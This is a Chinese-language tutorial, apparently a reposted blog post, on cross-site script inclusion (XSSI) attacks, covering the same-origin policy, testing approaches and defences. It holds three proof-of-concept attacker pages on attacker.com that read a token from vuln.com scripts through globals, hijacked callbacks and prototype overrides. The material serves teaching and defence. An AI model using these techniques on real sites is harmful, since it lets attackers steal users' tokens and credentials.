XSSI漏洞全称为跨站脚本包含漏洞,攻击者通过使用<script>
标签跨域包含特定文件/页面,可以窃取符合JavaScript格式的文件中的敏感信息。
原理
同源策略是Web应用程序安全模型中最基本也是最核心的策略。同源策略规定,仅当两个页面具有相同源时,第一个页面的脚本才能访问第二个页面的数据。此策略可防止一个页面上的恶意脚本通过该页面的Document Object Model访问另一网页上的敏感数据。
为了满足同源策略,浏览器对不同访问行为进行了限制。
同源策略限制了不同源之间的相互访问,限制规则一般如下:
- 通常允许跨域写操作(cross-origin writes)。例如链接、重定向、表单提交
- 通常允许跨域资源嵌入(cross-origin embedding)
- 通常不允许跨域读操作(cross-origin reads)
元素 | 行为 |
---|---|
frame/iframe | 默认允许跨域嵌入,但是不允许跨域读取(可以通过X-Frame-Options 进行设置) |
css | 允许使用link 标签或在css文件中的@import 引入(一般要求正确的Content-Type ) |
@font-face | 有的浏览器允许跨域字体,有的不允许 |
form | action 属性可以是跨域的URL,这意味着可以跨域提交表单 |
img | 允许跨域嵌入图片,但是不允许跨域读取,如将跨域图片加载到canvas 元素 |
video/audio | 可以使用video 和audio 元素嵌入跨域多媒体资源 |
object/embed/applet | 嵌入插件 |
script | 可以嵌入跨域脚本 |
在XSSI漏洞中,主要利用的是<script>
可以嵌入跨域脚本,通过引用脚本来间接获取数据。
这里获取的目标数据,即敏感信息,大致分为几类:
- 认证凭据
- CSRF token
- 用户个人信息等
XSSI窃取动态JS文件的敏感信息
白盒测试
排查Web系统中动态生成的JS文件,分析是否包含敏感信息。
黑盒测试
对于动态JS文件的发现,可以使用DetectDynamicJS插件辅助。
漏洞利用技巧
1. 常规方法窃取敏感信息
对于敏感信息存储在全局变量、敏感信息被外部函数处理等直接或间接可以访问的情况,可以使用常规方法获取敏感信息。
例1:敏感信息存储在全局变量中
http://vuln.com/dynamic.js
var token='secret';
攻击者可以部署如下站点
http://attacker.com/xssi.html
<!DOCTYPE html>
<html>
<head>
<title>xssi</title>
</head>
<body>
<script src="http://vuln.com/dynamic.js"></script>
<script >alert(token);</script>
</body>
</html>
例2:敏感信息被外部函数处理
(function(){
var token='secret';
doSomeThing(token);
})();
攻击者可以部署如下站点
http://attacker.com/xssi1.html
<!DOCTYPE html>
<html>
<head>
<title>xssi1</title>
</head>
<body>
<script>function doSomeThing(data){alert(data);}</script>
<script src="http://vuln.com/dynamic1.js"></script>
</body>
</html>
2. 利用原型链窃取敏感信息
对于非常规情况,可以考虑操纵原型链来实现窃取敏感信息
例3:非常规情况
(function(){
var token='secret';
var data=token.trim();
})();
攻击者可以部署如下站点
http://attacker.com/xssi2.html
<!DOCTYPE html>
<html>
<head>
<title>xssi2</title>
</head>
<body>
<script>String.prototype.trim = function(){alert(this);}</script>
<script src="http://vuln.com/dynamic2.js"></script>
</body>
</html>
XSSI窃取非JS文件的敏感信息
JSON劫持
现代浏览器防御方案
X-Content-Type-Options
响应头,
当响应头状态为nosniff
时,
X-Content-Type-Options: nosniff
会阻止请求类型是”script” 但是 MIME 类型不是 JavaScript MIME 类型。
参考:https://portswigger.net/research/json-hijacking-for-the-modern-web
防御方法
不在JS文件中嵌入敏感信息
使用POST请求+CORS
http://www.mi1k7ea.com/2020/01/04/%E6%B5%85%E6%9E%90XSSI%E6%BC%8F%E6%B4%9E/
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com